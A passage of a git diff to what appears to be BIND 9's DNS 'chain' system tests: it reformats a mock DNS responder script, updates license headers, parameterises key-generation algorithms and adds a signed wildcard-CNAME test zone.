 ans.py requires at least dnspython 1.12.0.
diff --git a/bin/tests/system/chain/ans4/ans.py b/bin/tests/system/chain/ans4/ans.py
index 45d650417f..839067faa5 100755
--- a/bin/tests/system/chain/ans4/ans.py
+++ b/bin/tests/system/chain/ans4/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 ############################################################################
 # ans.py: See README.anspy for details.
@@ -69,18 +69,22 @@
 ############################################################################
 actions = []
 rrs = []
+
+
 def ctl_channel(msg):
     global actions, rrs
 
     msg = msg.splitlines().pop(0)
-    print ('received control message: %s' % msg)
+    print("received control message: %s" % msg)
 
-    msg = msg.split(b'|')
+    msg = msg.split(b"|")
     if len(msg) == 0:
         return
 
-    actions = [x.strip() for x in msg[0].split(b',')]
-    n = functools.reduce(lambda n, act: (n + (2 if act == b'dname' else 1)), [0] + actions)
+    actions = [x.strip() for x in msg[0].split(b",")]
+    n = functools.reduce(
+        lambda n, act: (n + (2 if act == b"dname" else 1)), [0] + actions
+    )
 
     if len(msg) == 1:
         rrs = []
@@ -89,29 +93,30 @@ def ctl_channel(msg):
                 rrs.append((i, b))
         return
 
-    rlist = [x.strip() for x in msg[1].split(b',')]
+    rlist = [x.strip() for x in msg[1].split(b",")]
     rrs = []
     for item in rlist:
-        if item[0] == b's'[0]:
+        if item[0] == b"s"[0]:
             i = int(item[1:].strip()) - 1
             if i > n:
-                print ('invalid index %d' + (i + 1))
+                print("invalid index %d" + (i + 1))
                 continue
             rrs.append((int(item[1:]) - 1, True))
         else:
             i = int(item) - 1
             if i > n:
-                print ('invalid index %d' % (i + 1))
+                print("invalid index %d" % (i + 1))
                 continue
             rrs.append((i, False))
 
+
 ############################################################################
 # Respond to a DNS query.
 ############################################################################
 def create_response(msg):
     m = dns.message.from_wire(msg)
     qname = m.question[0].name.to_text()
-    labels = qname.lower().split('.')
+    labels = qname.lower().split(".")
     wantsigs = True if m.ednsflags & dns.flags.DO else False
 
     # get qtype
@@ -124,27 +129,27 @@ def create_response(msg):
     # - sld is 'example'
     # - tld is 'com.'
     name = labels.pop(0)
-    domain = '.'.join(labels)
+    domain = ".".join(labels)
     sld = labels.pop(0)
-    tld = '.'.join(labels)
+    tld = ".".join(labels)
 
-    print ('query: ' + qname + '/' + typename)
-    print ('domain: ' + domain)
+    print("query: " + qname + "/" + typename)
+    print("domain: " + domain)
 
     # default answers, depending on QTYPE.
     # currently only A, AAAA, TXT and NS are supported.
     ttl = 86400
-    additionalA = '10.53.0.4'
-    additionalAAAA = 'fd92:7065:b8e:ffff::4'
-    if typename == 'A':
-        final = '10.53.0.4'
-    elif typename == 'AAAA':
-        final = 'fd92:7065:b8e:ffff::4'
-    elif typename == 'TXT':
-        final = 'Some\ text\ here'
-    elif typename == 'NS':
+    additionalA = "10.53.0.4"
+    additionalAAAA = "fd92:7065:b8e:ffff::4"
+    if typename == "A":
+        final = "10.53.0.4"
+    elif typename == "AAAA":
+        final = "fd92:7065:b8e:ffff::4"
+    elif typename == "TXT":
+        final = "Some\ text\ here"
+    elif typename == "NS":
         domain = qname
-        final = ('ns1.%s' % domain)
+        final = "ns1.%s" % domain
     else:
         final = None
 
@@ -153,9 +158,9 @@ def create_response(msg):
     delta = timedelta(30)
     t1 = t - delta
     t2 = t + delta
-    inception=t1.strftime('%Y%m%d000000')
-    expiry=t2.strftime('%Y%m%d000000')
-    sigdata='OCXH2De0yE4NMTl9UykvOsJ4IBGs/ZIpff2rpaVJrVG7jQfmj50otBAp A0Zo7dpBU4ofv0N/F2Ar6LznCncIojkWptEJIAKA5tHegf/jY39arEpO cevbGp6DKxFhlkLXNcw7k9o7DSw14OaRmgAjXdTFbrl4AiAa0zAttFko Tso='
+    inception = t1.strftime("%Y%m%d000000")
+    expiry = t2.strftime("%Y%m%d000000")
+    sigdata = "OCXH2De0yE4NMTl9UykvOsJ4IBGs/ZIpff2rpaVJrVG7jQfmj50otBAp A0Zo7dpBU4ofv0N/F2Ar6LznCncIojkWptEJIAKA5tHegf/jY39arEpO cevbGp6DKxFhlkLXNcw7k9o7DSw14OaRmgAjXdTFbrl4AiAa0zAttFko Tso="
 
     # construct answer set.
     answers = []
@@ -165,76 +170,102 @@ def create_response(msg):
     i = 0
 
     for action in actions:
-        if name != 'test':
+        if name != "test":
             continue
-        if action == b'xname':
-            owner = curname + '.' + curdom
-            newname = 'cname%d' % i
+        if action == b"xname":
+            owner = curname + "." + curdom
+            newname = "cname%d" % i
             i += 1
-            newdom = 'domain%d.%s' % (i, tld)
+            newdom = "domain%d.%s" % (i, tld)
             i += 1
-            target = newname + '.' + newdom
-            print ('add external CNAME %s to %s' % (owner, target))
+            target = newname + "." + newdom
+            print("add external CNAME %s to %s" % (owner, target))
             answers.append(dns.rrset.from_text(owner, ttl, IN, CNAME, target))
-            rrsig = 'CNAME 5 3 %d %s %s 12345 %s %s' % \
-               (ttl, expiry, inception, domain, sigdata)
-            print ('add external RRISG(CNAME) %s to %s' % (owner, target))
+            rrsig = "CNAME 5 3 %d %s %s 12345 %s %s" % (
+                ttl,
+                expiry,
+                inception,
+                domain,
+                sigdata,
+            )
+            print("add external RRISG(CNAME) %s to %s" % (owner, target))
             sigs.append(dns.rrset.from_text(owner, ttl, IN, RRSIG, rrsig))
             curname = newname
             curdom = newdom
             continue
 
-        if action == b'cname':
-            owner = curname + '.' + curdom
-            newname = 'cname%d' % i
-            target = newname + '.' + curdom
+        if action == b"cname":
+            owner = curname + "." + curdom
+            newname = "cname%d" % i
+            target = newname + "." + curdom
             i += 1
-            print ('add CNAME %s to %s' % (owner, target))
+            print("add CNAME %s to %s" % (owner, target))
             answers.append(dns.rrset.from_text(owner, ttl, IN, CNAME, target))
-            rrsig = 'CNAME 5 3 %d %s %s 12345 %s %s' % \
-                   (ttl, expiry, inception, domain, sigdata)
-            print ('add RRSIG(CNAME) %s to %s' % (owner, target))
+            rrsig = "CNAME 5 3 %d %s %s 12345 %s %s" % (
+                ttl,
+                expiry,
+                inception,
+                domain,
+                sigdata,
+            )
+            print("add RRSIG(CNAME) %s to %s" % (owner, target))
             sigs.append(dns.rrset.from_text(owner, ttl, IN, RRSIG, rrsig))
             curname = newname
             continue
 
-        if action == b'dname':
+        if action == b"dname":
             owner = curdom
-            newdom = 'domain%d.%s' % (i, tld)
+            newdom = "domain%d.%s" % (i, tld)
             i += 1
-            print ('add DNAME %s to %s' % (owner, newdom))
+            print("add DNAME %s to %s" % (owner, newdom))
             answers.append(dns.rrset.from_text(owner, ttl, IN, DNAME, newdom))
-            rrsig = 'DNAME 5 3 %d %s %s 12345 %s %s' % \
-                   (ttl, expiry, inception, domain, sigdata)
-            print ('add RRSIG(DNAME) %s to %s' % (owner, newdom))
+            rrsig = "DNAME 5 3 %d %s %s 12345 %s %s" % (
+                ttl,
+                expiry,
+                inception,
+                domain,
+                sigdata,
+            )
+            print("add RRSIG(DNAME) %s to %s" % (owner, newdom))
             sigs.append(dns.rrset.from_text(owner, ttl, IN, RRSIG, rrsig))
-            owner = curname + '.' + curdom
-            target = curname + '.' + newdom
-            print ('add synthesized CNAME %s to %s' % (owner, target))
+            owner = curname + "." + curdom
+            target = curname + "." + newdom
+            print("add synthesized CNAME %s to %s" % (owner, target))
             answers.append(dns.rrset.from_text(owner, ttl, IN, CNAME, target))
-            rrsig = 'CNAME 5 3 %d %s %s 12345 %s %s' % \
-                   (ttl, expiry, inception, domain, sigdata)
-            print ('add synthesized RRSIG(CNAME) %s to %s' % (owner, target))
+            rrsig = "CNAME 5 3 %d %s %s 12345 %s %s" % (
+                ttl,
+                expiry,
+                inception,
+                domain,
+                sigdata,
+            )
+            print("add synthesized RRSIG(CNAME) %s to %s" % (owner, target))
             sigs.append(dns.rrset.from_text(owner, ttl, IN, RRSIG, rrsig))
             curdom = newdom
             continue
 
     # now add the final answer
-    owner = curname + '.' + curdom
+    owner = curname + "." + curdom
     answers.append(dns.rrset.from_text(owner, ttl, IN, rrtype, final))
-    rrsig = '%s 5 3 %d %s %s 12345 %s %s' % \
-               (typename, ttl, expiry, inception, domain, sigdata)
+    rrsig = "%s 5 3 %d %s %s 12345 %s %s" % (
+        typename,
+        ttl,
+        expiry,
+        inception,
+        domain,
+        sigdata,
+    )
     sigs.append(dns.rrset.from_text(owner, ttl, IN, RRSIG, rrsig))
 
     # prepare the response and convert to wire format
     r = dns.message.make_response(m)
 
-    if name != 'test':
+    if name != "test":
         r.answer.append(answers[-1])
         if wantsigs:
             r.answer.append(sigs[-1])
     else:
-        for (i, sig) in rrs:
+        for i, sig in rrs:
             if sig and not wantsigs:
                 continue
             elif sig:
@@ -242,24 +273,29 @@ def create_response(msg):
             else:
                 r.answer.append(answers[i])
 
-    if typename != 'NS':
-        r.authority.append(dns.rrset.from_text(domain, ttl, IN, "NS",
-                                               ("ns1.%s" % domain)))
-    r.additional.append(dns.rrset.from_text(('ns1.%s' % domain), 86400,
-                                             IN, A, additionalA))
-    r.additional.append(dns.rrset.from_text(('ns1.%s' % domain), 86400,
-                                             IN, AAAA, additionalAAAA))
+    if typename != "NS":
+        r.authority.append(
+            dns.rrset.from_text(domain, ttl, IN, "NS", ("ns1.%s" % domain))
+        )
+    r.additional.append(
+        dns.rrset.from_text(("ns1.%s" % domain), 86400, IN, A, additionalA)
+    )
+    r.additional.append(
+        dns.rrset.from_text(("ns1.%s" % domain), 86400, IN, AAAA, additionalAAAA)
+    )
 
     r.flags |= dns.flags.AA
     r.use_edns()
     return r.to_wire()
 
+
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -270,11 +306,15 @@ def sigterm(signum, frame):
 ip4 = "10.53.0.4"
 ip6 = "fd92:7065:b8e:ffff::4"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
-try: ctrlport=int(os.environ['EXTRAPORT1'])
-except: ctrlport=5300
+try:
+    ctrlport = int(os.environ["EXTRAPORT1"])
+except:
+    ctrlport = 5300
 
 query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 query4_socket.bind((ip4, port))
@@ -296,18 +336,18 @@ def sigterm(signum, frame):
 
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6, port))
-print ("Control channel on %s port %d" % (ip4, ctrlport))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6, port))
+print("Control channel on %s port %d" % (ip4, ctrlport))
+print("Ctrl-c to quit")
 
 if havev6:
     input = [query4_socket, query6_socket, ctrl_socket]
@@ -328,7 +368,7 @@ def sigterm(signum, frame):
         if s == ctrl_socket:
             # Handle control channel input
             conn, addr = s.accept()
-            print ("Control channel connected")
+            print("Control channel connected")
             while True:
                 msg = conn.recv(65535)
                 if not msg:
@@ -336,8 +376,7 @@ def sigterm(signum, frame):
                 ctl_channel(msg)
             conn.close()
         if s == query4_socket or s == query6_socket:
-            print ("Query received on %s" %
-                    (ip4 if s == query4_socket else ip6))
+            print("Query received on %s" % (ip4 if s == query4_socket else ip6))
             # Handle incoming queries
             msg = s.recvfrom(65535)
             rsp = create_response(msg[0])
diff --git a/bin/tests/system/chain/clean.sh b/bin/tests/system/chain/clean.sh
index 2e33290d40..57b05a732d 100755
--- a/bin/tests/system/chain/clean.sh
+++ b/bin/tests/system/chain/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/chain/ns1/named.conf.in b/bin/tests/system/chain/ns1/named.conf.in
index 668af66eeb..550426126f 100644
--- a/bin/tests/system/chain/ns1/named.conf.in
+++ b/bin/tests/system/chain/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns1/root.db b/bin/tests/system/chain/ns1/root.db
index c076a77a1e..3469fb526b 100644
--- a/bin/tests/system/chain/ns1/root.db
+++ b/bin/tests/system/chain/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns2/example.db b/bin/tests/system/chain/ns2/example.db
index 5f29f86106..c13f2d22d4 100644
--- a/bin/tests/system/chain/ns2/example.db
+++ b/bin/tests/system/chain/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns2/generic.db b/bin/tests/system/chain/ns2/generic.db
index 566d22265b..9d59378dfd 100644
--- a/bin/tests/system/chain/ns2/generic.db
+++ b/bin/tests/system/chain/ns2/generic.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns2/named.conf.in b/bin/tests/system/chain/ns2/named.conf.in
index e8882dc666..922d2fa5f9 100644
--- a/bin/tests/system/chain/ns2/named.conf.in
+++ b/bin/tests/system/chain/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -40,6 +42,11 @@ zone "signed-sub2.example" {
 	file "sub.db";
 };
 
+zone "wildcard-secure.example" {
+	type primary;
+	file "wildcard-secure.example.db.signed";
+};
+
 zone "wildcard-nsec.example" {
 	type primary;
 	file "wildcard-nsec.example.db.signed";
diff --git a/bin/tests/system/chain/ns2/sign.sh b/bin/tests/system/chain/ns2/sign.sh
index d0aa9bb673..90d1912f3f 100644
--- a/bin/tests/system/chain/ns2/sign.sh
+++ b/bin/tests/system/chain/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,30 +17,38 @@ zone=example.
 zonefile=example.db
 signedfile=example.db.signed
 
-ksk=`$KEYGEN -q -a RSASHA256 -b 2048 -fk $zone`
-zsk=`$KEYGEN -q -a RSASHA256 -b 1024 $zone`
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} $zone)
+$SIGNER -S -o $zone -f $signedfile $zonefile > /dev/null
+
+zone=wildcard-secure.example.
+zonefile=wildcard-secure.db
+signedfile=wildcard-secure.example.db.signed
+
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} $zone)
 $SIGNER -S -o $zone -f $signedfile $zonefile > /dev/null
 
 zone=wildcard-nsec.example.
 zonefile=wildcard.db
 signedfile=wildcard-nsec.example.db.signed
 
-ksk=`$KEYGEN -q -a RSASHA256 -b 2048 -fk $zone`
-zsk=`$KEYGEN -q -a RSASHA256 -b 1024 $zone`
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} $zone)
 $SIGNER -S -o $zone -f $signedfile $zonefile > /dev/null
 
 zone=wildcard-nsec3.example.
 zonefile=wildcard.db
 signedfile=wildcard-nsec3.example.db.signed
 
-ksk=`$KEYGEN -q -a RSASHA256 -b 2048 -fk $zone`
-zsk=`$KEYGEN -q -a RSASHA256 -b 1024 $zone`
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} $zone)
 $SIGNER -S -3 - -H 0 -o $zone -f $signedfile $zonefile > /dev/null
 
 zone=wildcard-nsec3-optout.example.
 zonefile=wildcard.db
 signedfile=wildcard-nsec3-optout.example.db.signed
 
-ksk=`$KEYGEN -q -a RSASHA256 -b 2048 -fk $zone`
-zsk=`$KEYGEN -q -a RSASHA256 -b 1024 $zone`
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -b ${DEFAULT_BITS} $zone)
 $SIGNER -S -3 - -H 0 -A -o $zone -f $signedfile $zonefile > /dev/null
diff --git a/bin/tests/system/chain/ns2/sub.db b/bin/tests/system/chain/ns2/sub.db
index 5e65fdf5c8..ad03165ba8 100644
--- a/bin/tests/system/chain/ns2/sub.db
+++ b/bin/tests/system/chain/ns2/sub.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns2/wildcard-secure.db b/bin/tests/system/chain/ns2/wildcard-secure.db
new file mode 100644
index 0000000000..e39237a3c9
--- /dev/null
+++ b/bin/tests/system/chain/ns2/wildcard-secure.db
@@ -0,0 +1,29 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2021051901 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	localhost.
+
+delegation		NS	localhost.
+			DS	12345 13 2 0000000000000000000000000000000000000000000000000000000000000000
+
+; CNAME pointing into a child zone
+cname			CNAME	delegation
+
+; wildcard CNAME pointing at a CNAME pointing into a child zone
+*			CNAME	cname
diff --git a/bin/tests/system/chain/ns2/wildcard.db b/bin/tests/system/chain/ns2/wildcard.db
index b934acd7f4..cc39e9c012 100644
--- a/bin/tests/system/chain/ns2/wildcard.db
+++ b/bin/tests/system/chain/ns2/wildcard.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns5/named.conf.in b/bin/tests/system/chain/ns5/named.conf.in
index be34cfd445..86bbf26edc 100644
--- a/bin/tests/system/chain/ns5/named.conf.in
+++ b/bin/tests/system/chain/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns5/sub.db b/bin/tests/system/chain/ns5/sub.db
index 9ddb4313ed..df571fbc74 100644
--- a/bin/tests/system/chain/ns5/sub.db
+++ b/bin/tests/system/chain/ns5/sub.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/ns7/named.conf.in b/bin/tests/system/chain/ns7/named.conf.in
index c314922a7c..32c9b5f569 100644
--- a/bin/tests/system/chain/ns7/named.conf.in
+++ b/bin/tests/system/chain/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/chain/ns7/root.hint b/bin/tests/system/chain/ns7/root.hint
index ab755ba29f..4f3f48bd1f 100644
--- a/bin/tests/system/chain/ns7/root.hint
+++ b/bin/tests/system/chain/ns7/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/chain/setup.sh b/bin/tests/system/chain/setup.sh
index f9f4adf524..6f52e6526f 100644
--- a/bin/tests/system/chain/setup.sh
+++ b/bin/tests/system/chain/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/chain/tests.sh b/bin/tests/system/chain/tests.sh
index 0b53bfd974..3ad8e31233 100644
--- a/bin/tests/system/chain/tests.sh
+++ b/bin/tests/system/chain/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -19,49 +25,49 @@ sendcmd() {
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking short DNAME from authoritative ($n)"
 ret=0
 $DIG $DIGOPTS a.short-dname.example @10.53.0.2 a > dig.out.ns2.short || ret=1
 grep "status: NOERROR" dig.out.ns2.short > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking short DNAME from recursive ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS a.short-dname.example @10.53.0.7 a > dig.out.ns4.short || ret=1
 grep "status: NOERROR" dig.out.ns4.short > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking long DNAME from authoritative ($n)"
 ret=0
 $DIG $DIGOPTS a.long-dname.example @10.53.0.2 a > dig.out.ns2.long || ret=1
 grep "status: NOERROR" dig.out.ns2.long > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking long DNAME from recursive ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS a.long-dname.example @10.53.0.7 a > dig.out.ns4.long || ret=1
 grep "status: NOERROR" dig.out.ns4.long > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking (too) long DNAME from authoritative ($n)"
 ret=0
 $DIG $DIGOPTS 01234567890123456789012345678901234567890123456789.longlonglonglonglonglonglonglonglonglonglonglonglonglonglong.longlonglonglonglonglonglonglonglonglonglonglonglonglonglong.longlonglonglonglonglonglonglonglonglonglonglonglonglonglong.long-dname.example @10.53.0.2 a > dig.out.ns2.toolong || ret=1
 grep "status: YXDOMAIN" dig.out.ns2.toolong > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
